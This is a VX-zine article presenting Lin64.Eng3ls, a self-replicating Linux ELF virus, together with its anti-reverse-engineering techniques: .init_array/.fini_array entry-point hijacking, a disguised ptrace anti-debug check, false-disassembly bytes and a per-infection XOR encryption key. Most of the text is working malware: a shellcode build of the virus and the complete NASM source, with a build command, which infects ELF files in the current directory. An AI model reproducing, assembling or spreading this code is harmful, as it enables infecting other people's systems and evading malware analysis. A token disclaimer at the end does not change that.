1.7 Lin64.Eng3ls: Some Anti-RE Techniques In A Linux Virus
~ S01den & sblip
Written with love by S01den.
mail: S01den@protonmail.com
Introduction
With Sblip, we worked during a whole week-end on Lin64.Eng3ls for a private event.
Eng3ls is basically Lin64.Kropotkine[0], the infection method is still the same good old PT_NOTE to PT_LOAD segment, but we added some obfuscation techniques.
Indeed, Kropotkin isn't stealth at all: the entrypoint of infected binaries is modified to directly point to the virus and the viral code is clear (so easy to analyse...).
To solve these problems, we made a oligomorphic xor decryptor/encryptor (not fancy at all I know...) for the virus body, the key changing in every new infected binary so that every replicated code is different.
However this poor man's polymorphism has the great disavantage that the decryptor's code doesn't change.
Thus, without more witchcraft, a reverser would understand very quickly how the virus is encrypted, and what it does.
That's why I've implemented for the first time in one of my virus, the polymorphic false-disassembly technique (or simply "fake polymorphism") in order to obfuscate the decryptor.
Check the paper I wrote about this technique to see how it works and the results!
(basically turn the page of the zine)
But there was still a problem: the entrypoint of infected binaries directly points to the virus, that's not stealth at all!
Let's see how we've solved this...
An Entry-Point Obscuring Technique for ELF
/!\ This technique doesn't work with PIE binaries /!\
Entrypoint Obscuring is simply the action, for a virus, to hide the address of it's first instruction.
In non-EPO viruses, the entrypoint of an infected program is modified to point to the beginning of the virus, whereas in EPO viruses, the virus is called in another way, whether by hiding a jump in the host's code or by, like here, abusing a specificity of the executable file format.
In ELFs the entrypoint is, in fact, not the first address to be executed when the program is run.
There is some glibc initialization routines, which ultimately load main().
I won't explain in details how it works, there is already a cool paper about[1].
Just keep in mind that we'll hijack the sections .init_array and .fini_array, which respectively contains a pointer to the constructor and a pointer to the destructor of the binary.
Thus, the address of the code located in .init_array is executed before the EntryPoint. That's exactly the kind of thing we wanted to have!
I chose to implement a tiny anti-debugging technique first, a ptrace check to see if the current process is traced (so debugged or straced) or not.
The classical "if (ptrace(PTRACE_TRACEME, 0, 1, 0) == -1) exit(0);"...
Easy to bypass (patch the virus or set rax = 0 in gdb at the comparison)...
So I made it "hard" (not really) to detect!
------------------------- CUT-HERE ------------------------------
check_dbg:
push rbp
mov rbp, rsp
jmp jmp_over4+2
jmp_over4:
db `\x41\xba` ; false disassembly
mov rax, 101 ; sys_ptrace
xor rdi, rdi ; PTRACE_TRACEME
xor rsi, rsi
xor r10, r10
xor rdx, rdx
inc rdx
jmp jmp_over6+2
jmp_over6:
db `\xe9\x94` ; false disassembly
syscall
jmp jmp_over5+2
jmp_over5:
db `\x49\x81` ; false disassembly
cmp rax, 0
jge continue
mov rax, 60
xor rdi, rdi
syscall
continue:
pop rbp
ret
-----------------------------------------------------------------
I wrote some false-disassembly bytes (changing at ever new infection) in the routine and I made it called before main() by abusing .init_array.
Thus, if debugged, the virus stops its execution, even with a breakpoint on the entrypoint.
Concerning the virus in itself, I made it called at the end, by abusing .fini_array.
Here is the routines I wrote for parsing the section header table in the search of .init_array and .fini_array, and for patching them.
------------------------- CUT-HERE --------------------------------------------------
parse_shdr:
xor rcx, rcx
xor rdx, rdx
mov cx, word [rax+e_hdr.shnum] ; rcx = # of entries in the program header table
mov rbx, qword [rax+e_hdr.shoff] ; rbx = offset of the program header table
mov dx, word [rax+e_hdr.shentsize] ; rdx = size of a program header table entry
loop_shdr:
add rbx, rdx
dec rcx
cmp dword [rax+rbx+e_shdr.type], 0x0E ; 0x0F = SHT_INIT_ARRAY, the section we're
; looking to modify to put the debugging
; check (.init_array)
je ctor_found
cmp dword [rax+rbx+e_shdr.type], 0x0F ; 0x0F = SHT_FINI_ARRAY, the section we're
; looking to modify to EPO (.fini_array)
je dtor_found
cmp rcx, 0
jg loop_shdr
dtor_found:
mov rdi, qword [rax+rbx+e_shdr.offset]
mov [rax+rdi], r9 ; r9 holds the addr of the converted segment, the one where we
; are writing the virus
jmp write_vx
ctor_found:
mov rdi, qword [rax+rbx+e_shdr.offset]
add r9, 0x86 ; r9+0x86 = the addr where check_dbg begins
mov [rax+rdi], r9
sub r9, 0x86
jmp loop_shdr
-------------------------------------------------------------------------------------
Conclusion
Entrypoint modification is lame, use EntryPoint Obscuring tricks such as .init_array or .fini_array hijacking instead.
Add some funny anti-RE tricks to spice your viruses: a pinch of encryption here, a spoonful of debugger detection over there...
I hope you enjoyed this article and that you learned something.
If you want to go further, I wrote a crackme using the same anti-reverse-engineering techniques that eng3ls uses.
Check that here: https://crackmes.one/crackme/6049f27f33c5d42c3d016dea
Bonus
I wrote a null-byte free version of this virus.
Null-byte free code + Position Independent = shellcode \o/
So here is a shellcode version of the virus:
unsigned char shellcode[] =
"\x48\x31\xc0\x48\x31\xdb\x48\x31\xc9\x48\x31\xd2\x4d\x31\xc9\x4d"
"\x31\xc0\x49\x89\xe6\x48\x81\xc4\xe8\xc3\x11\x11\x48\x81\xec\xde"
"\xc0\x11\x11\x49\x89\xe7\xeb\x7c\x58\x48\x2d\x87\xc1\x11\x11\x48"
"\x05\xde\xc0\x11\x11\x50\x41\x5c\x68\xe8\xc3\x11\x11\x5e\x48\x81"
"\xee\xde\xc0\x11\x11\x48\x81\xc6\xe8\xc3\x11\x11\x48\x81\xee\xde"
"\xc0\x11\x11\x48\x31\xff\x6a\x07\x5a\x6a\x22\x41\x5a\x6a\x09\x58"
"\x0f\x05\x48\x89\xc3\x56\x59\xb0\x54\x48\x31\xd2\x41\x8a\x14\x3c"
"\x48\x81\xc7\xde\xc0\x11\x11\x48\x81\xff\x86\xc1\x11\x11\x76\x02"
"\x30\xc2\x48\x81\xef\xde\xc0\x11\x11\x88\x14\x3b\x48\xff\xc7\xe2"
"\xdb\x49\x89\xdf\x48\x81\xc3\x87\xc1\x11\x11\x48\x81\xeb\xde\xc0"
"\x11\x11\xff\xe3\xe8\x7f\xff\xff\xff\x1c\xd5\x90\x5e\x57\x54\x54"
"\x1c\xd5\x90\x5e\x57\x54\x54\x1c\xd5\x90\x54\x55\x54\x54\xbd\x6b"
"\x56\x54\x54\x0b\xec\x56\x54\x54\x54\x1c\x65\xa2\x5b\x51\x1c\xdd"
"\x93\xec\x8d\x54\x54\x54\x1c\xdd\xb2\xee\x54\x50\x54\x54\x5b\x51"
"\x1c\xd7\xac\x54\x5b\xd8\xb1\x55\x54\x54\x1d\xdd\x91\x1c\x65\x8f"
"\x1c\xdd\xb4\x1c\xd7\x94\x47\x1c\xdd\x92\xeb\x55\x54\x54\x54\x1c"
"\x65\x9d\xde\x18\x70\x46\x07\xbc\x42\x54\x54\x54\x0f\x32\xdf\x10"
"\x70\x44\x1c\x55\x97\x1c\x55\x90\x18\x6d\xbf\x28\x87\xbd\xf9\x55"
"\x54\x54\x1c\xdd\xb1\x1c\xd7\xad\x5c\x21\x05\x1c\xdd\xa3\xec\x56"
"\x54\x54\x54\xea\x56\x50\x54\x54\x5b\x51\x1c\xd7\xac\x54\x2a\x68"
"\x1c\xdd\x97\x1c\xdd\xb2\x18\x7d\xba\xec\x50\x54\x54\x54\x5b\x51"
"\x1d\xdd\x8c\x1c\xdf\x22\x64\xeb\x54\x54\x54\x54\xee\x52\x54\x54"
"\x54\x19\x65\x9d\x15\xee\x55\x54\x54\x54\x1c\x65\x94\xec\x5d\x54"
"\x54\x54\x5b\x51\xd5\x6c\x2b\x11\x18\x12\x20\x45\xec\x57\x54\x54"
"\x54\x1c\xdd\x8b\x5b\x51\x1c\x65\x94\x1c\xdd\xb8\x97\xd4\x2c\x50"
"\x56\x20\x56\xbf\xb3\x32\xd7\x2c\x44\x56\x20\x56\xbf\x8a\xd5\x2c"
"\x5d\x8a\x94\xf9\x8a\x21\x53\x1c\x65\x94\x1c\xdd\xb8\x97\x1c\x65"
"\x9d\x1c\x65\x86\x32\xdf\x1c\x6c\x1c\xdf\x0c\x74\x32\xdf\x04\x62"
"\x1c\x55\x87\x1c\xab\x9d\xd7\x68\x4c\x50\x20\x52\x1c\xd7\xad\x54"
"\x2b\xba\x93\x14\x5d\x8a\x94\xf9\x8a\x93\x50\x4c\x55\x54\x54\x54"
"\x93\x10\x4c\x50\x53\x54\x54\x54\x15\xed\x54\x54\x54\x58\x1d\x55"
"\xa5\x18\xdd\x18\x4c\x44\x1c\xdf\x28\x4c\x74\x1c\xd5\x93\x5e\x57"
"\x54\x54\x1c\xdd\x28\x4c\x74\x1c\xdf\x28\x4c\x7c\x1c\xd5\x93\x5e"
"\x57\x54\x54\x1c\xdd\x28\x4c\x7c\x1c\xdd\x20\x4c\x5c\x1c\x65\x9d"
"\x1c\x65\x86\x32\xdf\x1c\x68\x1c\xdf\x0c\x7c\x32\xdf\x04\x6e\x1c"
"\x55\x87\x1c\xab\x9d\xd7\x28\x4c\x50\x5b\x20\x52\x1c\xd7\xad\x54"
"\x2b\xb9\x1c\xdf\x28\x4c\x4c\x18\xdd\x58\x6c\xee\x50\x54\x54\x54"
"\x1c\xdd\x93\xec\x4e\x54\x54\x54\x5b\x51\xec\x5f\x54\x54\x54\x5b"
"\x51\x5b\x65\x32\x61\xf9\x8a\x15\xde\x1b\x3c\x15\xdc\x13\x3c\x1c"
"\x65\x86\x1c\x65\x8f\x15\xde\x48\x43\x15\xdc\xc8\x43\x5e\x57\x54"
"\x54\x1c\xab\x96\x1c\xd5\xae\xfd\x54\x54\x54\x21\xbc\x15\xde\x48"
"\x43\x64\x97\x15\xdc\xc8\x43\x5e\x57\x54\x54\x1c\xab\x96\x1c\xd5"
"\xae\x5e\x57\x54\x54\x21\xb2\x18\xdd\x93\x18\xdd\xaa\x1c\xd5\x92"
"\x5e\x57\x54\x54\xee\x5e\x57\x54\x54\x1c\xd7\x96\x7a\xec\x55\x54"
"\x54\x54\x5b\x51\xec\x57\x54\x54\x54\x5b\x51\x1c\xdd\xb8\x97\xec"
"\x55\x54\x54\x54\x1c\x65\xab\x1c\xab\x93\x3c\x5e\x0c\x0b\x0c\x1c"
"\xdd\xb2\xee\x50\x54\x54\x54\x5b\x51\xec\x68\x54\x54\x54\x5b\x51"
"\x1c\x65\x9d\x1c\x65\x8f\x1c\x65\x94\x1c\x65\x86\x97\x1c\xdf\x50"
"\x70\x97\xbc\xe8\xa9\xab\xab\x7a\x54\x54";
Don't be stupid, don't spread this shit into the wild.
We don t take responsibility for what you do with this
--> two techniques to write nullbytes-free codes:
1) Replace mov instructions by push.
Example:
b809000000 mov eax, 9 ----> 6a09 push 0x9
58 pop rax
2) The add/sub technique:
Sometimes the values you add to a register involves nullbytes.
You can remove them by adding and subbing a garbage value.
Example:
4881c4890300 add rsp, 0x389 ----> 4881c4e8c311 add rsp, 0x1111c3e8
^ // 0x1111c3e8 = 0x389 + 0x1111c0de
4881ecdec011 sub rsp, 0x1111c0de
Notes and References
[0] https://github.com/vxunderground/MalwareSourceCode/blob/main/VXUG/Linux.Kropotkine.asm
[1] Abusing .CTORS and .DTORS for fun 'n profit https://www.exploit-db.com/papers/13234
Source
- Linux.Eng3ls.asm (See file in txt/)
Linux.Eng3ls.asm
;####################################
;## A 64 bit ELF virus ##
;## infecting .fini_array ##
;## By S01den and Sblip ##
;####################################
;.____ .__ ________ _____ ___________ ________ .__
;| | |__| ____ / _____/ / | | \_ _____/ ____ ____\_____ \| | ______ _____ ______ _____
;| | | |/ \/ __ \ / | |_ | __)_ / \ / ___\ _(__ <| | / ___/ \__ \ / ___// \
;| |___| | | \ |__\ \/ ^ / | \ | \/ /_/ > \ |__\___ \ / __ \_\___ \| Y Y \
;|_______ \__|___| /\_____ /\____ | /\ /_______ /___| /\___ /______ /____/____ > /\ (____ /____ >__|_| /
; \/ \/ \/ |__| \/ \/ \//_____/ \/ \/ \/ \/ \/ \/
; This is a (widely) modified version of Lin64.Kropotkine
; Infection through PT_NOTE infection. Made with love by S01den and Sblip for Project:Fu
; No modification of entry point this time ! Just hijack .fini_array to make it point to the converted PT_NOTE segment.
; --> Thus, the virus is executed after the host code.
; However, it doesn't work on PIE binaries :/
; Features: encryption (with a different key for every new infection) + fake polymorphism to hide the decryption routine
; Build command:
; nasm -f elf64 Linux.Eng3ls.asm ; ld Linux.Eng3ls.o -o eng3ls
; long live to the vx scene !
;---------------------------------- CUT HERE ----------------------------------
; some structs, thanks https://en.wikipedia.org/wiki/Executable_and_Linkable_Format !
struc STAT
.st_dev resq 1
.st_ino resq 1
.st_nlink resq 1
.st_mode resd 1
.st_uid resd 1
.st_gid resd 1
.pad0 resb 4
.st_rdev resq 1
.st_size resq 1
.st_blksize resq 1
.st_blocks resq 1
.st_atime resq 1
.st_atime_nsec resq 1
.st_mtime resq 1
.st_mtime_nsec resq 1
.st_ctime resq 1
.st_ctime_nsec resq 1
endstruc
struc e_hdr
.magic resd 1 ; 0x7F followed by ELF(45 4c 46) in ASCII; these four bytes constitute the magic number.
.class resb 1 ; This byte is set to either 1 or 2 to signify 32- or 64-bit format, respectively.
.data resb 1 ; This byte is set to either 1 or 2 to signify little or big endianness, respectively. This affects interpretation of multi-byte fields starting with offset 0x10.
.elf_version resb 1 ; Set to 1 for the original and current version of ELF.
.os resb 1 ; Identifies the target operating system ABI.
.abi_version resb 1
.padding resb 7 ; currently unused, should be filled with zeros. <--------- that will be the place where we will put out signature
.type resb 2 ; Identifies object file type.
.machine resb 2 ; Specifies target instruction set architecture.
.e_version resb 4 ; Set to 1 for the original version of ELF.
.entry resq 1 ; this is the entry point
.phoff resq 1 ; Points to the start of the program header table.
.shoff resq 1 ; Points to the start of the section header table.
.flags resb 4 ; Interpretation of this field depends on the target architecture.
.ehsize resb 2 ; Contains the size of this header, normally 64 Bytes for 64-bit and 52 Bytes for 32-bit format.
.phentsize resb 2 ; Contains the size of a program header table entry.
.phnum resb 2 ; Contains the number of entries in the program header table.
.shentsize resb 2 ; Contains the size of a section header table entry.
.shnum resb 2 ; Contains the number of entries in the section header table.
.shstrndx resb 2 ; Contains index of the section header table entry that contains the section names.
.end resb 1
endstruc
struc e_phdr
.type resb 4 ; Identifies the type of the segment. (The number which interest us are: 0 = PT_NULL | 1 = PT_LOAD | 2 = PT_DYNAMIC | 4 = PT_NOTE)
.flags resd 1 ; Segment-dependent flags (position for 64-bit structure).
.offset resq 1 ; Offset of the segment in the file image.
.vaddr resq 1 ; Virtual address of the segment in memory.
.paddr resq 1 ; On systems where physical address is relevant, reserved for segments physical address.
.filesz resq 1 ; Size in bytes of the segment in the file image.
.memsz resq 1 ; Size in bytes of the segment in memory.
.align resq 1 ; 0 and 1 specify no alignment. Otherwise should be a positive, integral power of 2, with p_vaddr equating p_offset modulus p_align.
.end resb 1
endstruc
struc e_shdr
.name resb 4 ; An offset to a string in the .shstrtab section that represents the name of this section.
.type resb 4 ; Identifies the type of this header.
.flags resq 1 ; Identifies the attributes of the section.
.addr resq 1 ; Virtual address of the section in memory, for sections that are loaded.
.offset resq 1 ; Offset of the section in the file image.
.size resq 1 ; Size in bytes of the section in the file image.
.link resb 4
.info resb 4
.addralign resq 1 ; Contains the required alignment of the section.
.entsize resq 1 ; Contains the size, in bytes, of each entry, for sections that contain fixed-size entries.
.end resb 1
endstruc
%define VXSIZE 0x305
%define STUB_SIZE 0x88
%define BUFFSIZE 1024
section .text
global _start
_start:
main:
xor rax, rax
xor rbx, rbx
xor rcx, rcx
xor rdx, rdx
mov r14, rsp
add rsp, VXSIZE
mov r15, rsp
jmp code
getaddr:
pop r12 ; address of code
sub r12, STUB_SIZE
xor r8, r8
push VXSIZE ; [length of shellcode]
pop rsi
add rsi, VXSIZE
xor rdi, rdi
mov rdx, 0x7 ; protect RW = PROT_READ (0x04) | PROT_WRITE (0x02) | PROT_EXEC (0x01)
xor r9, r9 ; r9 = 0 <=> offset_start = 0
mov r10, 0x22 ; flag = MAP_SHARED | MAP_ANONYMOUS
push 9
pop rax ; mmap syscall number
syscall
mov rbx, rax
push rsi
pop rcx
jmp jmp_over+2
jmp_over:
db `\x48\x31` ; false disassembly
mov al,0x00
xor rdx, rdx
decoder:
jmp jmp_over2+2
jmp_over2:
db `\xb8\xd9` ; false disassembly
mov dl, byte [r12+rdi]
cmp rdi, STUB_SIZE-1
jna no_decrypt
jmp jmp_over3+2
jmp_over3:
db `\x48\x81` ; false disassembly
xor dl, al
no_decrypt:
mov byte [rbx+rdi], dl
inc rdi
loop decoder
mov r15, rbx
add rbx, STUB_SIZE
jmp rbx ; jmp to decrypted code
code:
call getaddr
add rsp, VXSIZE
add rsp, VXSIZE
add rsp, 0x100
jmp getdot
vx:
pop rdi
mov rax, 2 ; open syscall
xor rsi,rsi ; flags = rdonly
syscall ; and awaaaaay we go
; we use the stack to hold dirents
mov rdi, rax
mov rax, 217
mov rsi, rsp
mov rdx, BUFFSIZE
syscall
cmp rax, 0
jl payload
mov r13, rax
xor rbx, rbx
loop:
mov rax, rsp
add rax, 0x13 ; d_name
; write the name
mov rsi, rax
mov rdi, 1
xor rcx, rcx
mov cl, byte [rsp+0x12] ; rcx now contains the type of data (directory or file)
push rbx
call infect
pop rbx
mov ax, [rsp+0x10] ; the buffer position += d_reclen
add rbx, rax
add rsp, rax
cmp rbx, r13
jl loop
jmp payload
infect:
mov rbp, rsp
cmp rcx, 0x8 ; check if the thing we will try to inject is a file or a directory (0x4 = dir | 0x8 = file)
jne end
; open the file
mov rdi, rsi
mov rax, 2
mov rsi, 0x402 ; RW mode
syscall
cmp rax, 0
jng end
mov rbx, rax
; stat the file to know its length
mov rsi, rsp
sub rsi, r13
mov rax, 4
syscall
; mmap the file
mov r8, rbx ; the fd
mov rsi, [rsi+STAT.st_size] ; the len
mov rdi, 0 ; we write this shit on the stack
mov rdx, 6 ; protect RW = PROT_READ (0x04) | PROT_WRITE (0x02)
xor r9, r9 ; r9 = 0 <=> offset_start = 0
mov r10, 0x1 ; flag = MAP_SHARED
xor rax, rax
mov rax, 9 ; mmap syscall number
syscall
; rax now contains the addr where the file is mapped
cmp dword [rax+e_hdr.magic], 0x464c457f ; check if the file is an ELF
je get_bits
end:
mov rax, 3 ; close
mov rdi, rbx
syscall
xor rax, rax
; epilogue
mov rsp, rbp
ret
get_bits: ; check if the binary is 64 bits
cmp byte [rax+e_hdr.class], 2
je check_et_exec
jmp end
check_et_exec:
cmp word [rax+e_hdr.type], 2
je check_signature
jmp end
check_signature:
cmp dword [rax+e_hdr.padding], 0xdeadc0de ; the signature (to check if a file is already infected)
jne parse_phdr
xor rax, rax
; epilogue
mov rsp, rbp
ret
parse_phdr:
xor rcx, rcx
xor rdx, rdx
mov cx, word [rax+e_hdr.phnum] ; rcx contains the number of entries in the program header table
mov rbx, qword [rax+e_hdr.phoff] ; rbx contains the offset of the program header table
mov dx, word [rax+e_hdr.phentsize] ; rdx contains the size of an entry in the program header table
loop_phdr:
add rbx, rdx
dec rcx
cmp dword [rax+rbx+e_phdr.type], 0x4
je pt_note_found
cmp rcx, 0
jg loop_phdr
pt_note_found:
; Now, we finally infect the file !
mov dword [rax+e_hdr.padding], 0xdeadc0de ; write the signature of the virus
mov dword [rax+rbx+e_phdr.type], 0x01 ; change to PT_LOAD
mov dword [rax+rbx+e_phdr.flags], 0x07 ; Change the memory protections for this segment to allow executable instructions (0x07 = PT_R | PT_X | PT_W)
mov r9, 0xc000000
add r9, rsi ; the new entry point (= a virtual address far from the end of the original program)
mov qword [rax+rbx+e_phdr.vaddr], r9
mov rdi, qword [rax+rbx+e_phdr.filesz] ; p.Filesz += injectSize
add rdi, VXSIZE
mov qword [rax+rbx+e_phdr.filesz], rdi
mov rdi, qword [rax+rbx+e_phdr.memsz] ; p.Memsz += injectSize
add rdi, VXSIZE
mov qword [rax+rbx+e_phdr.memsz], rdi
mov qword [rax+rbx+e_phdr.offset], rsi ; p.Off = uint64(fsize)
parse_shdr:
xor rcx, rcx
xor rdx, rdx
mov cx, word [rax+e_hdr.shnum] ; rcx contains the number of entries in the program header table
mov rbx, qword [rax+e_hdr.shoff] ; rbx contains the offset of the program header table
mov dx, word [rax+e_hdr.shentsize] ; rdx contains the size of an entry in the program header table
loop_shdr:
add rbx, rdx
dec rcx
cmp dword [rax+rbx+e_shdr.type], 0x0F ; 0x0F = SHT_FINI_ARRAY, the section we're looking to modify
je dtor_found
cmp rcx, 0
jg loop_shdr
dtor_found:
mov rdx, qword [rax+rbx+e_shdr.offset]
mov [rax+rdx], r9
mov rdx, 4
mov rdi, rax
mov rax, 26
syscall ; msync syscall: apply the change to the file
mov rax, 11
syscall ; munmap
; randomly change the false disassembly bytes
rdtsc
xor ax, 0xacab
mov word [r15+0x51],ax
xor dx, 0xcafe
mov word [r15+0x5a],dx
xor ax, 0xc0
mov word [r15+0x6b],ax
; the new encryption key:
xor ax, 0xdead
mov cl, byte [r15+0x54] ; get the old key
mov byte [r15+0x54], al ; replace it with the new key
xor rdx, rdx
xor rbx, rbx
copy_stub:
mov bl, byte[r15+rdx]
mov byte[r15+VXSIZE+rdx], bl
inc rdx
cmp rdx, STUB_SIZE
jne copy_stub
encrypt_body:
mov bl, byte [r15+rdx]
;xor bl, cl ; decrypt
xor bl, al ; encrypt with the new key
mov byte [r15+VXSIZE+rdx], bl
inc rdx
cmp rdx, VXSIZE
jne encrypt_body
mov rdi, r8
mov rsi, r15
add rsi, VXSIZE
mov rdx, VXSIZE
add rdx, 46
mov rax, 1 ; write the vx
syscall
mov rax, 3 ; close
syscall
; epilogue
mov rsp, rbp
ret
payload:
mov rax, 1
xor rdi, rdi
inc rdi
push 0x585f580a
mov rsi, rsp
mov rdx, 4
syscall
mov rax, 60
syscall
clean:
xor rcx, rcx
xor rbx, rbx
xor rax, rax
xor rdx, rdx
ret
get_eip:
mov rax, [rsp]
ret
getdot:
call vx
db '.'
dw 0x0
;--------------------------------------------------------------------------------------------------------------------------
;___________ _______ __
;\__ ___/____ ______ \ _ \ __ ___/ |_
; | | / \\____ \ / /_\ \| | \ __\
; | || Y Y \ |_> > \ \_/ \ | /| |
; |____||__|_| / __/ /\ \_____ /____/ |__|
; \/|__| \/ \/ in your stack...